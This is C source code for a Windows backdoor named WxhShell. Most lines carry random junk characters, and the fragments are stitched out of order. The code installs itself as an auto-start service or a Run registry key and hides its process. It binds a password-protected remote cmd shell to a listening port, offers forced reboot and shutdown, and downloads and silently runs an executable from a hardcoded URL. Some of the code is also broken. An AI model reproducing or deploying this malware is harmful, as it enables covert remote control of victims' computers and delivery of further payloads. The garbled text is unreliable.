    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G"y.Z2$  
    if(Boot(SHUTDOWN)) PKq-@F%X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8X&Ya =  
    else { "?.~/@  
    closesocket(wsh); uM(UO,X  
    ExitThread(0); "zZI S6j  
    } 3,aN8F1;C  
    break; y~<@x.  
    } dv N<5~  
  // 获取shell ;9uRO*H?T  
  case 's': { ~=y3Gd B3  
    CmdShell(wsh); !#?kWAU  
    closesocket(wsh); J0220 _  
    ExitThread(0); z"F*\xa  
    break; =fyyqb 4  
  } ?HR%bn gK  
  // 退出 X21dX`eMN  
  case 'x': { $1*3!}_0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~y0R'oi  
    CloseIt(wsh); uL?vG6% ^1  
    break; 7]2 2"mc  
    } d @rs3Q1z  
  // 离开 t"s5\;IJ  
  case 'q': { k<4P6?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8}BBOD  
    closesocket(wsh); PoD^`()FR{  
    WSACleanup(); '=cKU0 G#  
    exit(1); `EMi0hm&H  
    break; *i<\iMoW  
        } S-Ai3)t6  
  } I+,SZ]n  
  } $EBb"+Y'T  
Jfg7\&|  
  // 提示信息 NO>k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W."f 8ow  
} -)w]a{F  
  } .`C V^\  
8V5a%2eV  
  return; ;6DnId2Zh  
} xX@FWAj  
N?23 m`3  
// shell模块句柄 -p# ,5}  
int CmdShell(SOCKET sock) z \?UGxu}  
{ t%+$" nP  
STARTUPINFO si; G?V"SU.  
ZeroMemory(&si,sizeof(si)); QD<eQsvV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jQtSwVDr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :%tuNJjj  
PROCESS_INFORMATION ProcessInfo; F,v 7ifo#f  
char cmdline[]="cmd"; OV5e#AOy)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ESDB[ O+`x  
  return 0; :):zNn_>`  
} VO`"<  
bsO@2NP'  
// 自身启动模式 8sw,k   
int StartFromService(void) HcJE0-"  
{ l C\E  
typedef struct wq72% e  
{ e.X@] PQJQ  
  DWORD ExitStatus; n,KA&)/s  
  DWORD PebBaseAddress; aR:<<IF\  
  DWORD AffinityMask; LV.&>@*  
  DWORD BasePriority; [b`6v`x  
  ULONG UniqueProcessId; ')nnWlK  
  ULONG InheritedFromUniqueProcessId; (K!4Kp^m  
}   PROCESS_BASIC_INFORMATION; SFO&=P:U  
D<nxr~pQ  
PROCNTQSIP NtQueryInformationProcess; d=e{]MG(  
.C5@QKU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T"W9YpZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %ejeyc  
3Xdn62[&  
  HANDLE             hProcess; R [9w  
  PROCESS_BASIC_INFORMATION pbi; 6An{3 "  
Fp:3#Bh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :dDxxrs"  
  if(NULL == hInst ) return 0; aIu2>  
my,x9UPs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j-* TXog  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c$#GM57V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .3g&9WvN!Z  
&|=?a cv  
  if (!NtQueryInformationProcess) return 0; 4 =Fg!Eu<  
H7jTQW0rp5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cV]y=q 6  
  if(!hProcess) return 0; 7!- \L7<  
$- w5o`e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _$(GRNRYK  
k5X b}@  
  CloseHandle(hProcess); S OI)/u  
&"AQ; %&N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  ^Fp=y,D  
if(hProcess==NULL) return 0; ,o)4p\nV  
VR v02m5  
HMODULE hMod; AM?Ec1S #a  
char procName[255]; 5bBCpNa  
unsigned long cbNeeded; MOLO3?H(  
ji##$xC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A`C-sD >  
_m7c o :  
  CloseHandle(hProcess); {]M>Y%j48  
.93S>U<_  
if(strstr(procName,"services")) return 1; // 以服务启动 Ma_=-cD  
bs:QG1*.  
  return 0; // 注册表启动 2[BA( B  
} _ _ =s'  
Ps7_-cH  
// 主模块 @Mr}6x*  
int StartWxhshell(LPSTR lpCmdLine) s7|3zqi  
{ R2Yl)2 D  
  SOCKET wsl; ni0LQuBp  
BOOL val=TRUE; Y^5"qd|`  
  int port=0; x-4J/tm  
  struct sockaddr_in door; LT(?#)D  
TMY{OI8a  
  if(wscfg.ws_autoins) Install(); &oc_ a1 R  
5U;nhDmM  
port=atoi(lpCmdLine); 5m 3'Gt4  
#4q1{)=  
if(port<=0) port=wscfg.ws_port; '^B3pR:  
+{Gw9h"5g*  
  WSADATA data; N&N 82OG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =g[H]-Ee  
M1gP R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X{'wWWZC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &%}6q]e  
  door.sin_family = AF_INET; X?kPi&ru  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <THUsY`3P&  
  door.sin_port = htons(port); xiJz`KD&  
V^ Y*xZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'ucGt  
closesocket(wsl); Pzptr%{  
return 1; W60Q3  
} cb4b, Ri  
1{7_ `[  
  if(listen(wsl,2) == INVALID_SOCKET) { =<>pKQ)[  
closesocket(wsl); j aD!  
return 1; s79 q 5  
} @[0jFjK  
  Wxhshell(wsl); Y8t Nwh  
  WSACleanup(); QglYU  
?d#Lr*m  
return 0; !4L#$VG  
XX:q|?6_ 4  
} V-:`+&S{^  
9kUV1?  
// 以NT服务方式启动 Gzj3Ka  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) { $X X  
{ Jtpa@!M  
DWORD   status = 0; \ bC}&Iz6  
  DWORD   specificError = 0xfffffff; n)Hk8)^8  
RAdvIIQp:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T[m ~6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^xmZ|f-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2!{N[*)  
  serviceStatus.dwWin32ExitCode     = 0; rEg+i@~  
  serviceStatus.dwServiceSpecificExitCode = 0; .u&|e  
  serviceStatus.dwCheckPoint       = 0; bt0djJRw  
  serviceStatus.dwWaitHint       = 0; Gk{W:866  
$u&|[vcP0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |O%:P}6c  
  if (hServiceStatusHandle==0) return; O<bDU0s{M  
z,M'Tr.1|  
status = GetLastError(); E+:.IuXW$  
  if (status!=NO_ERROR) wd"TM  
{ bD  d_}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Plb}dID"  
    serviceStatus.dwCheckPoint       = 0; DqRLx85d1  
    serviceStatus.dwWaitHint       = 0; /!:L7@BZ  
    serviceStatus.dwWin32ExitCode     = status; 6/VNuQ_#  
    serviceStatus.dwServiceSpecificExitCode = specificError; _qEWu Do  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { _-wG3f|  
    return; '+tKvTU;  
  } p[_Yi0U  
i+U@\:=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ko@zk<~"[  
  serviceStatus.dwCheckPoint       = 0; Jm%mm SYK  
  serviceStatus.dwWaitHint       = 0; ofVEao  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8g-P_[>  
} dG" K/|  
$R8>u#K!  
// 处理NT服务事件,比如:启动、停止 <&KLo>B^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /cM 5  
{ ^zKt{a  
switch(fdwControl) a4Ls^  
{ 2\DTJ`Y,  
case SERVICE_CONTROL_STOP: (y%%6#bd  
  serviceStatus.dwWin32ExitCode = 0; `:V}1ioX5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uAc@ Z-  
  serviceStatus.dwCheckPoint   = 0; IPwj_jvw  
  serviceStatus.dwWaitHint     = 0; ZK%Kgk[\:~  
  { QCVsVG!sN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,I/2.Q})[  
  } <g] ou YHZ  
  return; +}kO ;\  
case SERVICE_CONTROL_PAUSE: 4 0p3Rv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D!c1;IHZ  
  break; xq#U 4E  
case SERVICE_CONTROL_CONTINUE: <'yf|N!9G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "[#@;{@Gt  
  break; \FIa,5k8  
case SERVICE_CONTROL_INTERROGATE: Gv!BB=ir(  
  break; #4Dn@Gqh.Y  
}; |if~i;VKL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y]hV-_2+Do  
} bl$+8 !~  
N[#iT&@T}/  
// 标准应用程序主函数 jB5>y&+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kA;xAb+U3  
{ \8=e |a5`  
X\o/i\ C}  
// 获取操作系统版本 -J-3_9I  
OsIsNt=GetOsVer(); }DJ|9D^yf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VfQMFb',o  
hTlnw[I  
  // 从命令行安装 %~][?Y ><  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3Gc ,I:\  
){+.8KI  
  // 下载执行文件 zJz82jMm  
if(wscfg.ws_downexe) {  i<B:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Oqd"0Qt-  
  WinExec(wscfg.ws_filenam,SW_HIDE); HyZVr2  
} i,mrMi c#  
#;5[('&[  
if(!OsIsNt) { ;% /6Y~/  
// 如果时win9x,隐藏进程并且设置为注册表启动 q"{Up  
HideProc(); !w @1!Xpn1  
StartWxhshell(lpCmdLine); 4 *Bp  
} P%.`c?olbs  
else L 2[Ei|9_  
  if(StartFromService()) j l;kcGE  
  // 以服务方式启动 9@$tiDV  
  StartServiceCtrlDispatcher(DispatchTable); #H'sZv  
else "Czz,;0  
  // 普通方式启动 fR+Ov8PCq  
  StartWxhshell(lpCmdLine); 73'U#@g6  
 R4&|t  
return 0; 3*CzXK>`M&  
} 7 JxE |G  
#[gcg]6c  
d9`3EP)n  
1mT|o_K{ T  
=========================================== cmwzKu%  
?2J S&i  
3g?MEM~  
${jA+L<J  
 1m&!l6Jk  
fo/ D3  
" yq/[/*7^  
Nm H}"ndv+  
#include <stdio.h> }9L 40)8  
#include <string.h> w/lXZg  
#include <windows.h> p_rN1W Dd'  
#include <winsock2.h> pb=jvK  
#include <winsvc.h> <Cf7E  
#include <urlmon.h> -_y~rx >  
t!J";l  
#pragma comment (lib, "Ws2_32.lib") g28S3 '2  
#pragma comment (lib, "urlmon.lib") 8L]gQ g  
{B'Gm]4  
#define MAX_USER   100 // 最大客户端连接数 &,m'sQ  
#define BUF_SOCK   200 // sock buffer ^q4l4)8jX  
#define KEY_BUFF   255 // 输入 buffer yRgDhA  
b5iIV1g  
#define REBOOT     0   // 重启 w,M1`RsK  
#define SHUTDOWN   1   // 关机 JxX jDYrU  
0C7thl{Dms  
#define DEF_PORT   5000 // 监听端口 ;']vY  
3Ew"[FUs  
#define REG_LEN     16   // 注册表键长度 a -z23$3  
#define SVC_LEN     80   // NT服务名长度 UPfFT^=y  
iFAoAw(  
// 从dll定义API gE-w]/1zD5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q8'@dH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9pVf2|5hj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v`z=OHc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?=/}Ft  
JL" 3#p}  
// wxhshell配置信息 afxj[;p!  
struct WSCFG { k#8S`W8^  
  int ws_port;         // 监听端口 j6&zRFX  
  char ws_passstr[REG_LEN]; // 口令 G/LXUhuif  
  int ws_autoins;       // 安装标记, 1=yes 0=no M^|"be~{'  
  char ws_regname[REG_LEN]; // 注册表键名 Q9Y9{T  
  char ws_svcname[REG_LEN]; // 服务名 MFc=B`/X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !7O=<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z/eU^2V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FT|/ WZR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9,iq"dQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eHF(,JI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R` I8Ud4=  
6nY )D6$JG  
}; &J5-'{U|0  
q5?rp|7D  
// default Wxhshell configuration bWX[<rh'  
struct WSCFG wscfg={DEF_PORT, k$UzBxR  
    "xuhuanlingzhe", ~xlMHf  
    1, +LQs.*  
    "Wxhshell", :=iM$_tp'  
    "Wxhshell", W(u6J#2  
            "WxhShell Service", /ygUd8@  
    "Wrsky Windows CmdShell Service", >,] eL  
    "Please Input Your Password: ", =0@d|LeZ  
  1, e B(S+p?  
  "http://www.wrsky.com/wxhshell.exe", @w#gRQCl  
  "Wxhshell.exe" g|GvJ)VX  
    }; + e5  
]AFM Y<mB  
// 消息定义模块 l ))~&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %U=S6<lbj;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~n8*@9[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O5G<O(,\  
char *msg_ws_ext="\n\rExit."; }C`}wS3i  
char *msg_ws_end="\n\rQuit."; NE; (..  
char *msg_ws_boot="\n\rReboot..."; X-G~/n-x  
char *msg_ws_poff="\n\rShutdown..."; ])$. "g  
char *msg_ws_down="\n\rSave to "; v)C:E9!|  
={mPg+Ei'  
char *msg_ws_err="\n\rErr!"; (IoPU+1b  
char *msg_ws_ok="\n\rOK!"; y:hCBgc;`c  
7{kpx$:_  
char ExeFile[MAX_PATH]; % L %1g  
int nUser = 0; iS:PRa1  
HANDLE handles[MAX_USER]; rr07\;  
int OsIsNt; ZVL- o<6  
0w'y#U)&8  
SERVICE_STATUS       serviceStatus; xu_XX#9?b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; },n,P&M\`  
ard3yNQt  
// 函数声明 'n>3`1E,  
int Install(void); "dLMBY~  
int Uninstall(void); lkSz7dr@  
int DownloadFile(char *sURL, SOCKET wsh); (8@h F#N1  
int Boot(int flag); :ET3&J L  
void HideProc(void); lE2wkY9^/  
int GetOsVer(void); Vlp*'2VO  
int Wxhshell(SOCKET wsl); [MQJ71(3  
void TalkWithClient(void *cs); ~-`BSR  
int CmdShell(SOCKET sock); `%mBu`A  
int StartFromService(void); X#Dhk6  
int StartWxhshell(LPSTR lpCmdLine); }VGI Y>v  
vS J<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z68Wf5@to&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9 .&Or4>  
G0 nH Z6  
// 数据结构和表定义 LDi ez i  
SERVICE_TABLE_ENTRY DispatchTable[] = o+X'(!Trw  
{ >QZt)<[  
{wscfg.ws_svcname, NTServiceMain}, OB*Xb*HN  
{NULL, NULL} }eDX8b8emA  
}; wzQdKlV  
j$mt*z L  
// 自我安装 xo)?XFM2  
int Install(void) -MHX1`P:Sn  
{ ]/V Iff  
  char svExeFile[MAX_PATH]; S] K6qY  
  HKEY key; X_tW#`  
  strcpy(svExeFile,ExeFile); o+)LcoP u  
O%++0k;  
// 如果是win9x系统,修改注册表设为自启动 Pdo5 sve  
if(!OsIsNt) { lc$@Jjg9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uZ2v;]\Y6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s=y9!rr  
  RegCloseKey(key); Ei p~ ~2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sNk>0 X[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eFXi )tl  
  RegCloseKey(key); HDW\S#  
  return 0; 1:;&wf  
    } K}5 $;W#  
  } vu.S>2Wv  
} s!o<Pd yJK  
else { X$9D0;L  
R SWB!-  
// 如果是NT以上系统,安装为系统服务 48&KdbGX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fssL'DD  
if (schSCManager!=0) 4KSP81}/\  
{ I|3v&E 1  
  SC_HANDLE schService = CreateService T\e)Czz2-  
  ( WfjUJw5x"s  
  schSCManager, o%~K4 M".  
  wscfg.ws_svcname, kDpZnXP  
  wscfg.ws_svcdisp, ^%*{:0'  
  SERVICE_ALL_ACCESS, 73sAZa|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @qhg[= @  
  SERVICE_AUTO_START, y1"^S  
  SERVICE_ERROR_NORMAL, 0&rH 9  
  svExeFile, VGDEP!)-8  
  NULL, z5*O@_r+.b  
  NULL, D16;6K'{  
  NULL, e~ 78'UH  
  NULL, n%ArA])_&  
  NULL Y'a(J7  
  ); O*n%2Mam  
  if (schService!=0) p2NB~t7Z  
  { X8l1xD  
  CloseServiceHandle(schService); Q-dHR i  
  CloseServiceHandle(schSCManager); pYhI{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v!'@NW_  
  strcat(svExeFile,wscfg.ws_svcname); {u=\-|t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mn\ B\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f+*2K^B  
  RegCloseKey(key); O"-PNF,J  
  return 0; _467~5JkU  
    } A[$wxdc  
  } C^42=?  
  CloseServiceHandle(schSCManager); /h.3<HI."*  
} VX>t!JP p  
} Z%n.:I<%ZV  
D>x'3WYR  
return 1; LYq2A,wm$  
} (PrPH/$  
<ZvPtW  
// 自我卸载 BLH3$*,H  
int Uninstall(void) ,l? 76g  
{ fUWm7>6VA>  
  HKEY key; 0?L$)T-B  
Xie dgy  
if(!OsIsNt) { n_Hn k4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xo 'w+Av  
  RegDeleteValue(key,wscfg.ws_regname); w*ktx{  
  RegCloseKey(key); m}'@S+k^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2u;fT{(  
  RegDeleteValue(key,wscfg.ws_regname); YIk6:W{  
  RegCloseKey(key); | v'5*n9  
  return 0; +p}Xmn  
  } oJu4vGy0  
} r~Ubgd ]U  
} np>!lF:  
else { KeOBbe  
K$vRk5U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n|,Vm@zV  
if (schSCManager!=0) MGC0^voe  
{ -bu. *=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [3NV #  
  if (schService!=0) zr9Pm6Rl  
  { &E '>+6  
  if(DeleteService(schService)!=0) { RkV3_c  
  CloseServiceHandle(schService); Sm_:SF!<D6  
  CloseServiceHandle(schSCManager); _,?HrL9  
  return 0; i&Cqw~.H  
  } jW$f(qAbm  
  CloseServiceHandle(schService); -^ ayJ73  
  } $I0a2Z=dP  
  CloseServiceHandle(schSCManager); W2(=m!:U  
} xs`gN  
} ~4` ec   
2}Plr{s9  
return 1; AX Jj"hN  
} *ik)>c_  
W",jZ"7  
// 从指定url下载文件 >Ez}r(QQ^  
int DownloadFile(char *sURL, SOCKET wsh) daJ-H  
{ M6Z`Pwv];  
  HRESULT hr; acZ|H  
char seps[]= "/"; 95&sFT C  
char *token; J 2~B<=V  
char *file; l+X^x%EA  
char myURL[MAX_PATH]; Sh6 NgO  
char myFILE[MAX_PATH]; ct/THq  
Z$K%@q,10+  
strcpy(myURL,sURL); "Ksd9,J\b  
  token=strtok(myURL,seps); K{h]./%  
  while(token!=NULL) Cu<ojN- $  
  { ^n5QK HD  
    file=token; vjWgR9 4/{  
  token=strtok(NULL,seps); / ^M3-5@Q  
  } XxQ2g&USk  
.shI% 'V  
GetCurrentDirectory(MAX_PATH,myFILE); Ds5&5&af  
strcat(myFILE, "\\"); ^o<Nz8  
strcat(myFILE, file); F+^[8zK^  
  send(wsh,myFILE,strlen(myFILE),0); a2)*tbM 9\  
send(wsh,"...",3,0); t$D[,$G9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]>!_OCe&  
  if(hr==S_OK) V0B4<TTAo~  
return 0; T js{ )r9  
else d-&dA_ ?  
return 1; 52Ffle8  
$}o,7xAn  
} r 24]2A  
?& ^l8gE  
// 系统电源模块 IN*Z__l8j`  
int Boot(int flag) Du4?n8 o  
{ *Y>'v%  
  HANDLE hToken; fkG"72 95A  
  TOKEN_PRIVILEGES tkp; L7="!I  
!aoO,P#j  
  if(OsIsNt) { [vJosbU;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _\]UA?0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cl8Mv  
    tkp.PrivilegeCount = 1; ~t$VzL1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lsxii-#O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j}Mpc;XOc  
if(flag==REBOOT) { M/ \~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BNLall  
  return 0; P l ,M>IQ  
} _+7f+eB  
else { 2)H|/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |0Kt@ AJY  
  return 0; +o5rR|)M+  
}  KX@Fgs  
  } [)KfRk?};2  
  else { 32J  
if(flag==REBOOT) { r8E!-r}rno  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LDNUywj@w  
  return 0; &$ 9bC 't6  
}  n6dg   
else { \Bf{/r5x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ON^u|*kO  
  return 0; g:V6B/M&  
} ;0WlvKF  
} z#ET-[ I  
riQ?'!a7  
return 1; Xp@OIn  
} .- o,_eg1f  
p_5+L@%Gb  
// win9x进程隐藏模块 ={d\zjI$  
void HideProc(void) .4-S|]/d,  
{ 4cL=f  
JaTW/~ TU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S|i //I%_  
  if ( hKernel != NULL ) JD .z}2+  
  { kSrzIq<xre  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @:8|tJu8b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^B>6 !  
    FreeLibrary(hKernel); L.(k8eX  
  } Z$gY}Bz  
P#]jPW  
return; 8;@eY`0(  
} 4+Kc  
ul1Vsj  
// 获取操作系统版本 +z_0?x  
int GetOsVer(void) #YV;Gp(2h  
{ CK%W +";  
  OSVERSIONINFO winfo; TlJF{ <E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nfU}ECun4  
  GetVersionEx(&winfo); O\z%6:'M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l,3tU|V  
  return 1; uW|y8 BP $  
  else gfHlY Q]  
  return 0; #-O4x`W>  
} w\a#Bfcv  
xFh}%mwpt[  
// 客户端句柄模块 a7R7Ks|q  
int Wxhshell(SOCKET wsl) qx NV~aK  
{ auU{I y   
  SOCKET wsh; bzTM{<]sv  
  struct sockaddr_in client; G"(!5+DLy  
  DWORD myID; ~5zhK:7c  
4H)a7 <,  
  while(nUser<MAX_USER) W\.(~-(So  
{ }#@LZ)]hK  
  int nSize=sizeof(client); j@f(cRAf#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #:X :~T  
  if(wsh==INVALID_SOCKET) return 1; <U";V)  
16U@o>O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -rBj-4|"  
if(handles[nUser]==0) c_ i;'  
  closesocket(wsh); _`_$U MK;  
else od>.5{o  
  nUser++; XooAL0w  
  } z'o+3 zq^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O@VmV>m  
Ki2_Nh>tM  
  return 0; j yE+?4w;  
} ]v@,>!Wn  
CEiG jo^  
// 关闭 socket f3O'lc3  
void CloseIt(SOCKET wsh) }OZfsYPz}T  
{ d p].FS  
closesocket(wsh); qp8;=Nfa  
nUser--; +a{>jzR  
ExitThread(0); P^z)]K#sw  
} 4-AmzU  
U8z,N1]r*`  
// 客户端请求句柄 YZd4% zF  
void TalkWithClient(void *cs) x1Uj4*Au  
{ YR>xh2< 9  
fQ@["b   
  SOCKET wsh=(SOCKET)cs; o5d)v)Rx=  
  char pwd[SVC_LEN]; pE#0949  
  char cmd[KEY_BUFF]; & |r)pl0$  
char chr[1]; ;NEHbLH#F  
int i,j; <_}u5E)7(  
_XN sDW4|  
  while (nUser < MAX_USER) { E;SF f  
;C3](  
if(wscfg.ws_passstr) { mi+I)b=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sSxra!tv4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b@k3y9 &  
  //ZeroMemory(pwd,KEY_BUFF); wcO_;1_ H  
      i=0; 6N ^FJCs  
  while(i<SVC_LEN) { &e{&<ZVR  
{|50&]m  
  // 设置超时 FD8Hx\oF  
  fd_set FdRead; :7maN^  
  struct timeval TimeOut; U-(d~]$  
  FD_ZERO(&FdRead); = 619+[fK  
  FD_SET(wsh,&FdRead); 8V@3T/}  
  TimeOut.tv_sec=8; @YRBZ6FH  
  TimeOut.tv_usec=0; Yd9y8Tq J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I#0$5a},u^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3Dy.mtP  
P<U{jkM\/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FRr<K^M  
  pwd=chr[0]; +aMPwTF:3  
  if(chr[0]==0xd || chr[0]==0xa) { 3j6$!89'  
  pwd=0; z;LntQZp-  
  break; 4IVCTz[  
  } N9hBGa$  
  i++; !GO4cbdQ  
    } N?aU<-Tn  
#qzozQ4  
  // 如果是非法用户,关闭 socket ^K8Ey#T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .- w*&Hd7b  
} e(b*T  
VrHFM(RNe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q%6*S!~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0YKG`W  
Gg/K  
while(1) { zKR_P{W>^  
Y|Z*|c.4OK  
  ZeroMemory(cmd,KEY_BUFF); n/?_]  
*5 5yF `  
      // 自动支持客户端 telnet标准   @f5X AK?  
  j=0; o(}vR<tD\  
  while(j<KEY_BUFF) { TMbj]Mso  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) Limt<S  
  cmd[j]=chr[0]; yzYPT}t  
  if(chr[0]==0xa || chr[0]==0xd) { w%kxY5q  
  cmd[j]=0; &N,c:dNe  
  break; ,+f'%)s_x  
  } KV Mm<]Z  
  j++; EBJaFz'  
    } r>5,U:6Q/  
*@dqAr%  
  // 下载文件 N[Fz6,ZG _  
  if(strstr(cmd,"http://")) { 3ILEc:<0J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZT!DTb B  
  if(DownloadFile(cmd,wsh)) l =#uy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6B&':N98  
  else GSsot%B u"  
